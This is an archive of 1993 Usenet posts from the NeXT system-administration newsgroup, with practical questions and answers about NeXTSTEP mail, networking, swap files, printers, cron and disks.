Newsgroups: comp.sys.next.sysadmin From: sanguish@digifix.com (Scott Anguish) Subject: Re: Major hint on mailboxes Message-ID: <1993Jun2.041333.5659@digifix.com> Sender: sanguish@digifix.com (Scott Anguish) Organization: Digital Fix Development References: <1993Jun02.005020.127574@zeus.calpoly.edu> Date: Wed, 2 Jun 1993 04:13:33 GMT Kevin John Wang writes > Does anyone know of ANY command-line utility that can auto-magically clean > up all of a user's Mailboxes? We use our NeXTs here in a classroom lab > situation (Mathematica) and people keep sending mail back and forth from > and to each other, and they never learn about compacting their mailboxes. > I want something I can put in LogoutHook... > > - Kevin Wang Check out Carl Edman's excellent mailapp-utilities that is on cs.orst.edu and sonata.cc.purdue.edu. It has a number of utilities, including compactmail, which you can run from a cron entry. I also found a cool program in the comp.sources.misc area called newsclean, that would automatically delete old mail (you specify the time to "expire") -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin From: gordie@cyclesoft.com (Gordie Freedman) Subject: Re: NeXT Mail Addresses storage ? Message-ID: <1993Jun2.063835.5140@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works References: <C7yK9J.6Ko@usenet.ucs.indiana.edu> Date: Wed, 2 Jun 1993 06:38:35 GMT In article <C7yK9J.6Ko@usenet.ucs.indiana.edu> francisr@stupid.ucs.indiana.edu (Rob Francis) writes: > In article <15623@news.duke.edu> boyar001@coluber.mc.duke.edu (Bill Boyarsky) writes: > > > >Does anyone know where NeXT mail stores data to support the Address > >functions: Groups, Private Groups, and Private Users ? > > In the worst place possible: > > ~/.NeXT/.mailalias > > > -rob > francisr@indiana.edu > > > It looks like ./NeXT/.mailalias only affects private groups. I can't seem to do anything to get entries in private users. Is this documented somewhere? "Groups" is only affected by /LocalLibrary/Images/People/aliases as far as I can tell. On the subject, does anybody know how to get Mail.app to update while it is running when you change one of these files? -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
Newsgroups: comp.sys.next.sysadmin From: cmaeda+@cs.cmu.edu (Christopher Maeda) Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies! Message-ID: <C7zFtD.Jr2.1@cs.cmu.edu> Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon References: <1993May28.180158.389@instep.wimsey.bc.ca> <1993May29.123822.6621@csus.edu> Date: Wed, 2 Jun 1993 07:08:01 GMT In article <1993May29.123822.6621@csus.edu> eps@cs.sfsu.edu writes: >In article <1993May28.180158.389@instep.wimsey.bc.ca> > brad@instep.wimsey.bc.ca writes: > > [major hassles with syslogd and /etc/hosts deleted...] > >If you look at /etc/rc, you'll see that syslogd starts up long >before either NIS or NetInfo are available. So it's pretty >obvious that any hosts referenced in /etc/syslog.conf need to be >identified in /etc/hosts. C'mon. Nothing in /etc/rc can really be called obvious in good conscience. >>Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of >>UNIX and its collection of very useful tools, and learn to respect that >>POWER by leaving well enough alone what they do not fully understand. Yeah right. This is power? >Anyway, this complaint sounds more like "pilot error" than >anything else. Yep. Design it so that you can't help but lose and then blame it on the user. -- Chris Maeda, Grad Student and RetroGrouch <cmaeda@cs.cmu.edu> "A unix signature isn't a return address, it's the ASCII equivalent of a black velvet clown painting. It's a rectangle of carets surrounding a quote from a literary giant of weeniedom like Heinlein or Dr. Who."
From: markus@stein.u.washington.edu (Markus Lankeit) Newsgroups: comp.sys.next.sysadmin Subject: Re: A NOVICE SEEKS ADVICE... Date: 2 Jun 1993 07:27:29 GMT Organization: University of Washington Message-ID: <1uhkp1INNjhe@news.u.washington.edu> References: <1ucr2qINN32n@phakt.usc.edu> <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu> fxars@camelot.acf-lab.alaska.edu (Al Sparks) writes: >Well, in Unix, the thing to put in your .cshrc is umask. My umask is >set at 022, which causes all files created in csh to be owner xwr >only. The thing of it is, I don't know if the .cshrc affects NS. For >that matter, does umask affect NS? Yup it does. Also, you can change your defaul file creation masks via the nice GUI-based Preferences app. In addition, I'd create a "users" group (or whatever you want to call it) using UserManager and setup everyone's account such that this is their default GID. Naturally, this will require sync'ing existing files, but if you've got everything setup in an existing hierachy, like you say you do, then it's a single chmod -R g+rwx <path> or you can do something more intelligent that does a +rw on files and a +rwx on directories... Hope this helps, markus markus@u.washington.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies! Date: 2 Jun 1993 04:15:03 -0500 Organization: University of Illinois at Urbana Message-ID: <1uhr35$19m@ux1.cso.uiuc.edu> References: <1993May28.180158.389@instep.wimsey.bc.ca> <1993May29.123822.6621@csus.edu> <C7zFtD.Jr2.1@cs.cmu.edu> cmaeda+@cs.cmu.edu (Christopher Maeda) writes: >In article <1993May29.123822.6621@csus.edu> eps@cs.sfsu.edu writes: >> [major hassles with syslogd and /etc/hosts deleted...] >> >>If you look at /etc/rc, you'll see that syslogd starts up long >>before either NIS or NetInfo are available. So it's pretty >>obvious that any hosts referenced in /etc/syslog.conf need to be >>identified in /etc/hosts. >C'mon. Nothing in /etc/rc can really be called obvious in good >conscience. I think that someone who is mucking about with /etc/syslog.conf should be able to look at an /etc/rc and, with all of its comments, realize what happens in what order. Grandpa Joe who gets a NeXT and uses it with shrinkwrapped apps probably couldn't figure it out, but we're talking about some fairly sophisticated UNIX here (sending syslog messages to another host). -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: mihe@gordon.enea.se (Mike Henry) Subject: Re: A NOVICE SEEKS ADVICE... Message-ID: <1993Jun2.082525.16192@enea.se> Sender: usenet@enea.se Organization: ENEA DATA AB, Stockholm, Sweden References: <1ucr2qINN32n@phakt.usc.edu> <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu> Date: Wed, 2 Jun 1993 08:25:25 GMT In article <FXARS.93Jun1111312@camelot.acf-lab.alaska.edu> fxars@camelot.acf-lab.alaska.edu (Al Sparks) writes: >Well, in Unix, the thing to put in your .cshrc is umask. My umask is >set at 022, which causes all files created in csh to be owner xwr >only. The thing of it is, I don't know if the .cshrc affects NS. For >that matter, does umask affect NS? Under NeXTSTEP you set the file-creation mask with Preferences. Choose the Expert Preferences Icon (The one with the UNIX "award" on it) and set the mask anyway you want. The umask set in a .cshrc file (or similar) will of course only affect the creation of files done under shell control (i.e. when using Terminal or Stewart etc). > === Al Sparks -Mike -- Mike Henry INET : mihe@enea.se /// Box 232 /// S-183 23 Taby TEL : +46 8 792-2500 \\\/// SWEDEN TFX : +46 8 768-4388 \XX/
Newsgroups: comp.sys.next.sysadmin From: gemoe@proximus.north.de (Gerhard Moeller) Subject: PANIC: Exception #2 AND #3!!!! HELP NEEDED Sender: gemoe@proximus.north.de (Gerhard Moeller) Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Wed, 2 Jun 1993 05:55:10 GMT Message-ID: <1993Jun2.055510.221@proximus.north.de> Hi, I am just before a heart-attack. I have a NeXTstatio, 3.0 loaded, 16MB parity RAM, parity enabled, ROM v65 Today in the morning I got up and the monitor was balck, a panic-panel on it, saying "memory parity error". I rebooted the system then. The computer did an fsck. But then... I got a full page of error codes that I couldn't understand. I switched of parity mode and rebooted again: Exception #3 (0xc) at 0x1000340c This is strange, as <m> shows me that mem sockets 0-3 have 16MB page mode simms installed (0x4000000-0x4ffe000) So how come, I can get an error at 0x1000340c? I turned on parity, removed my nbufs (96) and rebooted: Exception #2 (0x8) at 0x4380000 This error I kept for a while. At this point I always got this error, regardless if parity enabled or disabled. But I never got the full page of numbers again. After a few tries and turning the computer off for a while, I now managed to boot again. BUT WHAT HAPPENED?? Do I have faulty RAM? What do the exception codes mean? (I did not find them in the doc.) Is my computer broken? PLEASE HELP ME, Thank you VERY much, Gerhard. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: Multiple swapfiles don't work In-Reply-To: thor@sushi.uib.no's message of Tue, 1 Jun 93 15:05:58 GMT Message-ID: <KARTHY.93Jun2095757@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <1993Jun1.150558.14338@alf.uib.no> Date: Wed, 2 Jun 1993 08:57:57 GMT >>>>> On Tue, 1 Jun 93 15:05:58 GMT, thor@sushi.uib.no said: thor> I've set up multiple swapfiles in my /etc/swaptab, but it doesn't thor> appear to work - the machine simply fills up the primary one, thor> and never switches. Here are my settings: thor> # thor> # /etc/swaptab thor> # thor> /private/vm/swapfile prefer, lowat=16777216, hiwat=33554432 thor> # 16 Meg low water mark, 33 Meg high water mark, preferred swapfile (i.e. use this first) thor> # thor> /clients/mnt/vm/swapfile lowat=16777216, nocompress thor> # Ekstra swap plass thor> I have a file with correct (I hope) permissions set in thor> /clients/mnt/vm/swapfile thor> However, the root fs has been down to 5Meg free, and still no thor> sign of switching... It has been over 45 MB (way over the hiwat!) You are not allowed to have spaces between the options in /etc/swaptab - I guess that mach_swapon simple will ignore all after "prefer, ". Try to remove the spaces and read the swaptab manpage VERY close.. Good luck, Karsten.
Newsgroups: comp.sys.next.sysadmin From: Benoit Grange <Benoit_Grange@gateway.qm.apple.com> Subject: Re: LaserWriter Pro 630 on NeXT Sender: news@gallant.apple.com Message-ID: <1993Jun2.125449.24442@gallant.apple.com> Date: Wed, 2 Jun 1993 12:54:49 GMT References: <C7rD1y.nE@ucdavis.edu> Organization: Apple Europe R&D In article <C7rD1y.nE@ucdavis.edu> Louis Todd Heberlein, heberlei@cs.ucdavis.edu writes: > I have been trying to hook up an Apple LaserWriter Pro 630 to my > NeXTstation (running NS 3.0), and I have been having some problems. I don't really know what needs to be done for the hardware setup, but you should get the PPD (printer description file) for the printer. Most of them are stored on ftp.adobe.com, the name should be like APTOLLW1.PPD or the real name of the printer. Put it where the other printer description files reside (I don't have my NeXT handy, I think it's somewhere in /usr/NeXTPrinter/..., try to find ppd in Librarian, some of the appkit objects use them). Once this is done, setup the printer with PrintManager. Hope this helps. PS: If you don't have access to the ftp server, mail me, I will send you the PPD. ---- Benoit Grange Apple Europe Research & Development Paris - France
From: curt@oasys.dt.navy.mil (Curt Welch) Newsgroups: comp.sys.next.sysadmin Subject: Re: autonfsmount dies / SLIP problem Message-ID: <36706@oasys.dt.navy.mil> Date: 2 Jun 93 16:24:04 GMT References: <36227@oasys.dt.navy.mil> <1993May28.195853.6772@musical.fdn.org> Organization: Carderock Division, NSWC, Bethesda, MD In comp.sys.next.sysadmin, sam@musical.fdn.org (Sam Przyswa) writes: >In article <36227@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch) >writes: >> >> No one on the net sent me any answers, but I found the solution to my >> problem with the help of another local NeXT programmer. The answer was >> quite simple. The host name and IP address of the system wasn't in >> netinfo. (i.e. /etc/hosts). I assumed that HostManager would add the >> name and address to netinfo but it doens't. You have to do it by >> hand. >> > Hi Curt, I have the same problem and my /etc/hosts is like that... You have to load your host name/IP address into the netinfo database. The info in /etc/hosts isn't used when netinfo is running -- it's stored in the netinfo database. To update it, you first need to find out whats in it. You can do this by typing: nidump hosts . > tmp_hosts This saves the netinfo host data into the file tmp_hosts (which is in the same format as /etc/hosts. Add you host and IP address to tmp_hosts, then type: niload hosts . < tmp_hosts You can also add the host using the NetinfoManager App if you now how to use that. Curt
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: set user cron job Message-ID: <1993Jun1.131854.4776@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1993May31.201150.1689@oops.se> Date: Tue, 1 Jun 1993 13:18:54 GMT In article <1993May31.201150.1689@oops.se> kjell@oops.se (Kjell Nilsson) writes: > > >0 1 * * * root su <username> -c '<program>' > > > What does this parameter '-c' do. I can't find it under 'man cron or su'?? Its a command you're running under the specified user. Works for root only of course :-). Yes, it's not documented, but as far I know, other unices hav it too. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies! Message-ID: <C80J5y.n0n@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <1993May28.180158.389@instep.wimsey.bc.ca> Date: Wed, 2 Jun 1993 21:17:58 GMT brad@instep.wimsey.bc.ca writes -> I'm getting rather annoyed at NeXT and their ignorance of BSD UNIX. How is -> it that with each release of NEXTSTEP, NeXT manages to break one more UNIX -> tool? Do they have no shame? Hmm, I'lll leave this one alone....but.... [munch] -> Life Rule Number 4,002,983: Never believe _never_. If you do, you'll be -> wasting your time and your companies time. As of Release 3.0, NeXT -> has yet to understand the fragile nature of UNIX. I agree, never believe never...UNIX is *NOT* fragile, however, just complex. [munch] -> When syslogd starts up it says it can't find host vancouver. Okay, why -> not? Well, it starts up as an early daemon, so perhaps netinfo isn't -> available at the time syslogd needs the host information. That would seem -> logical. So, I send syslogd a HUP signal which causes it to re-read its -> configuration file. There, that ought to take care of it... Nope! Well, no, you must have done something wrong...this is exactly what I do and it's worked fine since 3.0pr1....I put these lines in /etc/rc.local: kill -HUP `cat /etc/syslog.pid` (echo ' syslog again') on the "client" machines. -> Gee, that seems to conflict with the statement in /etc/hosts. well, kinda, it's really just there to keep people from sticking things there and thinking that's all you need to do...YP (NIS) will say the same thing. -> Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of -> UNIX and its collection of very useful tools, and learn to respect that -> POWER by leaving well enough alone what they do not fully understand. haha...Power, eh...okay try spreading that flat-file /etc/hosts power around a lab of 75 machines, real quick like....haha well someone dosen't fully understand something I'll agree to that... -- John Soward \ 'Across yonder oceans the natives are fierce University of Kentucky \ Their ears are filled and their teeth are pierced' soward@inslab.uky.edu \ -- The Church, Priest=Aura
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: how to crash any NeXT Message-ID: <C80JIC.16A@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> Date: Wed, 2 Jun 1993 21:25:23 GMT Mark Crispin writes -> The following little program will crash any NeXT. It was posted on -> comp.protocols.tcp-ip, and a short while later a bugfix was also posted. So, -> people on other operating system platforms are fixing their kernels. But -> because of NeXT's cretinous policy of no source distributions, people with -> NeXTs can't fix it themselves. -> Next offered source code to the base os for 2.1...but *most* people can't afford the source to *any* commercial os anyway so.....price solaris 2.x code for edu (not too bad) and non-edu (look out)...then for a laugh call up microsoft and ask about the source to NT ;^> I think NeXT could create patches and put them on the net with reasonable fixes for reasonable problems though, so that those technically minded who are intersted in such things....... -- John Soward \ 'Across yonder oceans the natives are fierce University of Kentucky \ Their ears are filled and their teeth are pierced' soward@inslab.uky.edu \ -- The Church, Priest=Aura
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: LaserWriter Pro 630 on NeXT Date: 2 Jun 1993 22:12:25 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1uj8k9$6e3@agate.berkeley.edu> References: <1993Jun2.125449.24442@gallant.apple.com> In article <1993Jun2.125449.24442@gallant.apple.com> Benoit Grange >I don't really know what needs to be done for the hardware setup, but you >should >get the PPD (printer description file) for the printer. Most of them are >stored on ftp.adobe.com, the name should be like APTOLLW1.PPD or the real >name of the printer. > >Put it where the other printer description files reside (I don't have my >NeXT handy, I think it's somewhere in /usr/NeXTPrinter/... It should go into /LocalLibrary/PrinterTypes/English.lproj/. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin From: thor@sushi.uib.no Subject: Re: Multiple Swapfiles (SUMMARY) Message-ID: <1993Jun2.222620.29485@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway Date: Wed, 2 Jun 93 22:26:20 GMT Multiple swapfile setup wasn't working. Solution? Remove embedded whitespace between options. I have done it, but haven't rebooted (I'll wait until it crashes :-), but am rather sure (by the amount of replies :-) That that was the problem. Unix - for mere mortals.... Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no
Newsgroups: comp.sys.next.sysadmin From: andy@godel (Andrew Burday) Subject: desperately seeking data recovery utility Message-ID: <1993Jun2.221821.21343@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University Date: Wed, 2 Jun 1993 22:18:21 GMT While running UserManager today, our file server crashed. When it came back up, all the users' home directories and all their contents were gone. This will make several people very unhappy when they find out about it. Does anyone know of a utility to recover data from a hard disk? The machine has (obviously) been rebooted, which means that fsck has cleaned up the file system. Less urgently, does anybody have any idea what could have caused the crash? I was not actually logged in at the time, but my understanding is that nothing more interesting was happening than the addition of a network-wide user to the net. Our server is an 040 cube, running v. 3.0. Flames are clearly justified on a couple of topics, notably the lack of backups. They will be accepted with equanimity. If anybody could also help us out with this, it would be much appreciated. Again, what I'm looking for is a hard disk data recovery utility. Thanks. Andrew Burday andy@philo.mcgill.ca
From: gregory@brigham-circle.mit.edu (Greg Howland) Newsgroups: comp.sys.next.sysadmin Subject: How can you make the clock chime? Date: 3 Jun 1993 00:11:54 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1ujfkaINNciv@senator-bedfellow.MIT.EDU> Is there a way to make the system clock chime or beep on the hour? ** Greg ** gregory@brigham-circle.mit.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: clp@home.HarvardSq.COM (Charles L. Perkins) Subject: A B I G Apology to attendees of my BOF at N.W. Expo. Message-ID: <1993Jun3.051335.1962@das.harvard.edu> Sender: usenet@das.harvard.edu (Network News) Organization: Division of Applied Sciences, Harvard University Date: Thu, 3 Jun 1993 05:13:35 GMT (I haven't been near the Internet 'til now, but even though I'll be home in only a few days, I thought I should get this apology out ASAP...) I have to make a R E A L L Y B I G apology to any of you who attended my BOF and didn't get a chance to see me there!?! I was bidding on everything in sight at the NOIR auction and in particular, absolutely HAD to have the NeXT-cable dies from the factory, which didn't go on the "bidding block" until after 8 pm (the order was random). I offered to do a dinner BOF but couldn't get everyone together in time. Maybe we can start a mailing list for my BOF topic and for Voila? Let me know what you all think... Again, I am truly sorry! Charles
From: mgrdla@NeXTwork.Rose-Hulman.Edu (David L. Allabaugh, Jr.) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXT Mail Addresses storage ? Date: 3 Jun 1993 05:49:53 GMT Organization: News Service at Rose-Hulman Message-ID: <1uk3e1INNq4m@master.cs.rose-hulman.edu> References: <1993Jun2.063835.5140@netcom.com> In article <1993Jun2.063835.5140@netcom.com> gordie@cyclesoft.com (Gordie Freedman) writes: > It looks like ./NeXT/.mailalias only affects private groups. I can't seem to do > anything to get entries in private users. Is this documented somewhere? I don't know where it is documented, but here is what I know (or think I know). You should have the first entry in the .mailaliases file be Private Users. This will be arranged just like one of your private groups. For instance, if someone wanted to place both you and I in their Private Users, then they would have a .mailaliases file such as the following. Private Users:mgrdla@nextwork.rose-hulman.edu,gordie@cyclesoft.com CoolPeople:mgrdla@nextwork.rose-hulman.edu,gordie@cyclesoft.com,mgrjtb@nex twork.rose-hulman.edu .. In this example, CoolPeople would be a Private Group and both you I would be in the Private Users. Hope this helps. --- Dave Allabaugh Rose-Hulman Institute of Technology Unix Manager Waters Computing Center
Newsgroups: comp.sys.next.sysadmin From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) Subject: Re: formatter program Message-ID: <1993Jun3.064859.15970@blabel.ppp.informatik.uni-muenchen.de> Keywords: format SCSI Organization: Home of BlackLabel References: <1993Jun1.145750.5434@nic.csu.net> Date: Thu, 3 Jun 1993 06:48:59 GMT vqueved@nssnext.calstatela.edu (Victor Quevedo) writes: >Does any one know the locaiton of the formatter program for SCSI disks. > On ftp.informatik.uni-muenchen.de, pub/next/Tools/disk/formatter_1.2.tar.Z >I have heard that there is a formatting program that will allow for >smaller block sizes. > I don't think you can format your disk with a _smaller_ block size with formatter. The program _can_ format some disks with 1024 byte/sector instead of the normal 512 byte/sec increasing the maximum available storage. cb -- [ Christian Baur, Muenchen-Germany | Suicide is an urban disease ] [ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
Newsgroups: comp.sys.next.sysadmin From: dgursky@andi.org Subject: NFS Problem Content-Type: text/plain Message-ID: <dg.93Jun2133915@synex_hq> Followup-To: comp.sys.next.sysadmin Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International Mime-Version: 1.0 Date: Wed, 2 Jun 1993 18:39:15 GMT For some odd reason, I can't mount *any* NFS-exported directories on our NeXT's. The message generated each time is "NFS getattr failed for server synex_hq: RPC Authentication Error". Does anyone have a clue as to what could be causing this to happen?
Newsgroups: comp.sys.next.sysadmin From: dgursky@andi.org Subject: NFS Problem Content-Type: text/plain Message-ID: <dg.93Jun2134018@synex_hq> Followup-To: comp.sys.next.sysadmin Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International Mime-Version: 1.0 Date: Wed, 2 Jun 1993 18:40:18 GMT Apologies for the duplicate post, but I'm not certain the original went through successfully... For some odd reason, I can't mount *any* NFS-exported directories on our NeXT's. The message generated each time is "NFS getattr failed for server synex_hq: RPC Authentication Error". Does anyone have a clue as to what could be causing this to happen? --- David M. Gursky NeXTMail accepted Synex, Inc. e-mail: dgursky@andi.org 5950 Symphony Woods Road voice: (301) 621-5732 Columbia, MD 21044 fax: (301) 621-6005
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Setting up Drives > 660mb Message-ID: <1993Jun3.081922.29435@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993May31.160008.7925@news.yale.edu> Date: Thu, 3 Jun 1993 08:19:22 GMT In article <1993May31.160008.7925@news.yale.edu> amehta@yale.edu (Anand Mehta) writes: >I have just purchased a Quantum P1225 (1.2gig) harddrive. After looking >through the documentation, it seems that the configurations that the build >utilities know about are 660 and 330mb. > >Has anyone installed this model drive/Could anyone tell me what I have to do in >order to build it correctly? What else is needed besides a correct disktab? The references to 330 and 660 are historical; the difference is that the former creates only a single partition, while the latter creates two. Pretend "660" says "660 or above," O.K.? Note that in most cases a disktab entry is *not* necessary--you should get something that works (it may be suboptimal, but that's another story). -=EPS=-
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.sysadmin Subject: Problems with ppp; actually a routing problem Summary: i don't understand what netstat gives : -) Message-ID: <1ukib1$98f@cheltenham.cs.arizona.edu> Date: 3 Jun 93 10:04:17 GMT References: <1993May27.033046.13695@venice.sedd.trw.com> Sender: Nick Kline Organization: U of Arizona CS Dept, Tucson I have a problem where I don't receive packets sent to me over ppp. Symptom: ppp connects and sends the every 3 sec packets. when I try to fing gateway on other side (192.220.10.2), packets are sent on my modem, but all is ignored. I'll just make up my addresses the remote (home) machine (denali.cs.arizona.edu) is 192.220.10.1 the host machine I am calling is (jav.cs.arizona.edu) 192.220.10.2 netstat -i reports that my ppp0 link looks good: ppp0* 1500 192.220.10 denali 0 298 if config reports: ppp0: flags=51<UP,POINTOPOINT,RUNNING> inet 192.220.10.1 --> 192.220.10.2 netmask ffffff00 netstat -rn 192.220.10.1 192.220.10.1 UGH 5 912 en0 127.0.0.1 127.0.0.1 UH 2 694 lo0 192.220.10.2 192.220.10.1 UH 0 29 ppp0 default 192.220.10.2 UG 0 18 ppp0 192.220.10 192.220.10.1 U 6 1605 en0 netstat -r denali denali UGH 5 912 en0 127.0.0.1 127.0.0.1 UH 2 694 lo0 192.220.10.2 denali UH 0 29 ppp0 default 192.220.10.2 UG 0 18 ppp0 192.220.10 denali U 6 1629 en0 obviously there is some problem with my routing, but i don't understand enoguht what is gong on. Note that I added the 192.220.10.1 192.220.10.1 after nothing else worked, since one of my examples did that. the behaviour is that every 3 seconds, I am sending those are you there packets. but, if I try to fing the other side (192.220.10.2) some packets are sent and received, but apparently the returned packets are ignored. I can only guess that somehow the ip confg numbers are wrong. thanks, Nick kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin From: orourke@sophia.smith.edu (Joseph O'Rourke) Subject: Re: Which cartridge for NeXT 400dpi Laser Printer? Message-ID: <1993Jun3.131151.950@sophia.smith.edu> Organization: Smith College, Northampton, MA, US References: <1993Jun1.133738.14737@sophia.smith.edu> <1ufqmq$r7@ux1.cso.uiuc.edu> Distribution: usa Date: Thu, 3 Jun 1993 13:11:51 GMT In article <1ufqmq$r7@ux1.cso.uiuc.edu> lemson@uiuc.edu writes: >orourke@sophia.smith.edu (Joseph O'Rourke) writes: > >>Will a Cannon or Hewlett-Packard catridge serve, and if so, >>which one? > >The EP-S cartridge that fits (among other printers) the HP LaserJet >Series II series and the Apple LaserWriter II series is the one you >want. Thanks to all who replied. The HP92295A works perfectly.
Newsgroups: comp.sys.next.sysadmin From: gdh@world.std.com (George Hampton) Subject: bogus out of space message Message-ID: <C81yLE.B9M@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Distribution: na Date: Thu, 3 Jun 1993 15:48:49 GMT I've got a LARGE disk (>5Gb) NFS mounted and Workspace is having trouble making sense of it. I constantly see the "NO SPACE" message and file copy operations fail because of this. df reports the following: on my Next: Filesystem kbytes used avail capacity Mounted on hofbrau:/home/hofbrau 1093658-1154598-1998927 58% /home/hofbrau on my Sun server: Filesystem kbytes used avail capacity Mounted on /dev/md5g 5287962 3039706 2195377 58% /home/hofbrau Any solution would be appreciated. -- =================================================================== george hampton Is "anal retentive" spelled with a hyphen? gdh@world.std.com
From: ben@manfred.berkeley.edu (Ben Haze Bonham) Newsgroups: comp.sys.next.sysadmin Subject: Re: How can you make the clock chime? Date: 3 Jun 1993 17:35:14 GMT Organization: University of California, Berkeley Message-ID: <1ulcoi$pnj@agate.berkeley.edu> References: <1ujfkaINNciv@senator-bedfellow.MIT.EDU> In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU> gregory@brigham-circle.mit.edu (Greg Howland) writes: > Is there a way to make the system clock chime or beep on the hour? > > ** Greg ** > gregory@brigham-circle.mit.edu I got a program called chime a long time ago from the sonata archive. I don't know if it's still there, but if not, send me a note and I'll mail the source for it. It was written by scott hess (scott@gac.edu) and fixed up by tom staudte (tom@in.sub.org). -Ben
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: Monitor Refresh Rate on ATI Ultra Pro (Intel GX Workstation) Message-ID: <1993Jun3.104802.3677@mic.ucla.edu> Keywords: bastard_kernel Organization: UCLA, Anderson Graduate School Of Management Date: 3 Jun 93 10:48:02 PDT I understand that NeXT/Intel (beta) is running the ATI Ultra Pro at the lowest possible refresh rate at the 1024*768 resolution. If someone has done a kernel patch to increase the refresh rate, I would very much like to get my hands on it. /ivo welch
From: smg@orb.com (S.M. Goldberger) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Need to know: How to set up the HP LaserJet 4M??? Date: 3 Jun 1993 09:45:34 GMT Distribution: world Message-ID: <1ukh7u$4so@nntp.crl.com> Has anyone successfully set up the HP LaserJet 4M on black Next hardware? I downloaded the PPD from the archives, but am not sure that I have the proper cable, nor do I know the proper serial port baud rate for best operation. My NeXT printer is broken so I really need to know how to proceed! Thanks in advance! -- Samuel M. Goldberger smg@orb.com--NeXT Mail OK Spherical Solutions, 47 Myrtle Avenue, Mill Valley, CA 94941 415.380.0383--voice 415.380.0381--fax
From: blake015@mc.duke.edu (Denise Blakeley) Newsgroups: comp.sys.next.sysadmin Subject: Re: How can you make the clock chime? Message-ID: <15791@news.duke.edu> Date: 3 Jun 93 19:38:11 GMT References: <1ulcoi$pnj@agate.berkeley.edu> Sender: news@news.duke.edu In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU> gregory@brigham-circle.mit.edu (Greg Howland) writes: > Is there a way to make the system clock chime or beep on the hour? Why not just set up a cron job? Cron looks at /etc/crontab and /etc/crontab.local every 60 seconds to see if there's something it should run. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 282-6468 W | reward. blake015@mc.duke.edu |
